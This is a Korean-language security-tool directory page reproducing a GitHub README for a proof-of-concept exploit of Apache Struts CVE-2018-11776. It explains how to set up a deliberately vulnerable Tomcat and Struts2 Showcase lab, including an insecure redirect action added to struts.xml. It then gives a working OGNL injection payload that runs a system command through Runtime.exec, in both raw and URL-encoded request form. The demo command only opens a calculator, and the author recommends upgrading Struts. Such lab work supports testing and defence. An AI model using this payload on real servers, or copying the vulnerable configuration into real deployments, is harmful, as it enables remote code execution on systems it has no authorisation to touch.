Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-11776 — 취약한 환경과 PoC 생성 | Kitploit
도구/GitHubGitHub/xfox64x/cve-2018-11776
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubxfox64x/cve-2018-11776

CVE-2018-11776

취약한 환경과 PoC 생성

저장소 보기
15626년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2018-11776

Proof of Concept 익스플로잇으로, 어떤 보호 및 수정 사항이 사용 가능한지 빠르게 평가할 수 있도록 만들었습니다.

원래 Man Yue Mo(Semmle)가 발견: https://semmle.com/news/apache-struts-CVE-2018-11776

Semmle은 "Apache Struts RCE - CVE-2018-11776 - PoC Exploit Demo" YouTube 동영상을 잠시 올렸지만, 지금은 없어진 것 같거나 적어도 Semmle에 더 이상 링크되지 않습니다: https://www.youtube.com/watch?v=5SDNX20SLJ0

위 내용에서 정보를 얻은 후 Struts 저장소의 커밋을 살펴보기 시작했습니다: https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5

도커나 뭐 그런 걸로 설정하기 귀찮아서...

취약한 호스트 설정 및 익스플로잇

최신 Ubuntu Desktop ISO 다운로드 및 가상 머신 생성

http://releases.ubuntu.com/18.04.1/ubuntu-18.04.1-desktop-amd64.iso?_ga=2.265574989.317727484.1535056103-825490018.1535056103

종속성 설치:

sudo apt-get update

sudo apt-get upgrade

sudo apt-get dist-upgrade

sudo apt-get install default-jdk vim net-tools

Tomcat 설정:

mkdir ~/sources

cd ~/sources

wget http://mirrors.ocf.berkeley.edu/apache/tomcat/tomcat-7/v7.0.90/bin/apache-tomcat-7.0.90.tar.gz

tar xvzf apache-tomcat-7.0.90.tar.gz

sudo mv apache-tomcat-7.0.90 /opt/tomcat

bashrc에 변수 업데이트:

vim ~/.bashrc

export JAVA_HOME=/usr/lib/jvm/default-java

export CATALINA_HOME=/opt/tomcat

. ~/.bashrc

Tomcat GUI에 관리자 추가:

sudo vim /opt/tomcat/conf/tomcat-users.xml

root@kitploit:~
<user username="username" password="password" roles="manager-gui,admin-gui" />

취약한 Struts2 Showcase 확보 (작업 대상):

cd ~/sources

wget http://central.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.14/struts2-showcase-2.3.14.war

Tomcat GUI를 통해 WAR 파일 배포:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/manager/html

Tomcat 재시작 및 Struts2 Showcase 접근 확인:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/manager/html

네임스페이스 없는 취약한 리디렉션 액션 추가:

vim /opt/tomcat/webapps/struts2-showcase-2.3.14/WEB-INF/classes/struts.xml

root@kitploit:~
    <action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

date.action은 이미 정의되어 있으므로, date.action을 호출하는 리디렉션 액션을 하나 더 추가한 것입니다.

기본적으로 alwaysSelectFullNamespace는 True로 설정되어 있어야 합니다.

Tomcat 재시작 및 Struts2 Showcase 페이지 확인:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/struts2-showcase-2.3.14/showcase.jsp

OGNL 표현식을 만들어 작업 수행. Semmle이 YouTube 동영상에서 했을 법한 작업을 해보겠습니다:

%{(#_memberAccess['allowStaticMethodAccess'] = true).(#rt = @java.lang.Runtime@getRuntime()).(#rt.exec('gnome-calculator'))}

OGNL 표현식을 URL 인코딩하여 URL의 마지막 '/' 앞에 넣고 취약한 help.action을 호출:

127.0.0.1:8080/struts2-showcase-2.3.14/<encoded-command-goes-here>/help.action

127.0.0.1:8080/struts2-showcase-2.3.14/%25%7B%28%23%5F%6D%65%6D%62%65%72%41%63%63%65%73%73%5B%27%61%6C%6C%6F%77%53%74%61%74%69%63%4D%65%74%68%6F%64%41%63%63%65%73%73%27%5D%20%3D%20%74%72%75%65%29%2E%28%23%72%74%20%3D%20%40%6A%61%76%61%2E%6C%61%6E%67%2E%52%75%6E%74%69%6D%65%40%67%65%74%52%75%6E%74%69%6D%65%28%29%29%2E%28%23%72%74%2E%65%78%65%63%28%27%67%6E%6F%6D%65%2D%63%61%6C%63%75%6C%61%74%6F%72%27%29%29%7D/help.action

취약한 Ubuntu 호스트에서 실행하면 새 계산기 창이 뜨는 것을 볼 수 있습니다.

관련 커밋 (문제 수정):

https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5

생각:

또 하나의 매우 특정한 취약한 Struts 구현입니다. 이 취약점에 대한 언론 보도로 모두가 난리였지만, 실제로 취약한 코드/설정은 극히 일부에 불과합니다... 이 취약점을 안정적으로 찾거나 익스플로잇하는 효율적이고 은밀한 방법은 생각나지 않습니다. 제 추천: 그냥 Struts를 업그레이드하세요... (아니면 사용을 중단하거나)

도구 다운로드